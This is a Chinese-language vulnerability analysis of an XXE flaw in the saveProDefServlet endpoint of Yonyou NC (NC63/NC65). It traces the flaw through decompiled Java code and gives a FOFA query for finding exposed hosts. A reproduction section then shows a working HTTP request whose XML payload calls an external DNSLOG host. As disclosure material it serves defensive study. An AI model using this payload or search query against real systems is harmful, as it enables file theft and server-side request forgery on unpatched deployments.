漏洞简介
用友NC系统存在XML外部实体注入(XXE)漏洞。攻击者可通过构造恶意XML内容,利用saveProDefServlet接口解析,实现任意文件读取或SSRF攻击等攻击,进而可能导致敏感信息泄露或进一步的系统入侵。
影响版本
NC63、NC65
fofa语法
app="用友-UFIDA-NC"
漏洞分析
这个洞(旧洞 是在审计之前的一个老洞的时候发现的

那就搜索saveProDefServlet,找到了 nc/uap/wfm/action/SaveProDefServlet.class 看下它的实现吧
@Servlet(
path = "/servlet/saveProDefServlet"
)
public class SaveProDefServlet extends WfBaseServlet {
private static final String NEW_PRODEF_PK = "NewProdefPk";
private static final long serialVersionUID = 856521354399862503L;
private static final String ROOT_DOC_TAG = "Root";
private static final String RESULT_DOC_TAG = "Result";
private static final String ISNEWVERSION_DOC_TAG = "IsNewVersion";
private static final String ISINSERTNEW_DOC_TAG = "IsInsertNew";
@Action(
method = "POST"
)
public void doPost() {
String proDefXml = this.request.getParameter("prodefxml");
String isNewVersion = "false";
String newProdefPk = null;
String isInsertNew = "false";
this.response.setCharacterEncoding("utf-8");
this.response.setContentType("text/html");
PrintWriter out = null;
try {
out = this.response.getWriter();
} catch (IOException e1) {
WfmLogger.error(e1.getMessage(), e1);
throw new LfwRuntimeException(e1.getMessage());
}
try {
proDefXml = URLDecoder.decode(proDefXml, "UTF-8");
} catch (UnsupportedEncodingException e) {
WfmLogger.error(e.getMessage(), e);
throw new LfwRuntimeException(e.getMessage());
}
String checkRsult = this.checkProdefXml(proDefXml);
prodefxml参数的值被带入了checkProdefXml方法,跟进看下它的实现
private String checkProdefXml(String proDefXml) {
String result = "";
try {
ProDef prodef = ProcessParser.getInstance().parse(proDefXml);
继续跟进ProcessParser的parse方法
import org.apache.commons.digester3.Digester;
......
public ProDef parse(String prodefxml) throws WfmServiceException {
if (prodefxml != null && prodefxml.length() != 0) {
Reader reader = null;
ProDef var7;
try {
String xmlpath = "Definitions/Process";
Digester digester = new Digester();
reader = new StringReader(prodefxml);
digester.setValidating(false);
int count = 0;
this.recursSubProcess(digester, xmlpath, count);
ProDef proDef = (ProDef)digester.parse(reader);
接收prodefxml后使用Apache Commons Digester 库将其解析成一个 ProDef 对象。
由于代码在解析用户传入的XML内容时,未对XML解析器进行安全配置以禁用外部实体的解析,造成了 XML外部实体注入(XXE)漏洞。攻击者可利用此漏洞读取服务器上的任意文件、发起服务端请求伪造(SSRF)或进行拒绝服务攻击。
漏洞复现
需要注意 prodefxml 参数的值需要双重URL编码
POST /portal/pt/servlet/saveProDefServlet/doPost?pageId=login HTTP/1.1
Host: nc.mrxn.net
Content-Type: application/x-www-form-urlencoded
prodefxml={{url({{url(<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://xxe.dnslog.pt/xxe_test">
%remote;]>
<root/>)}})}}

在DNSLOG平台收到DNS和HTTP请求


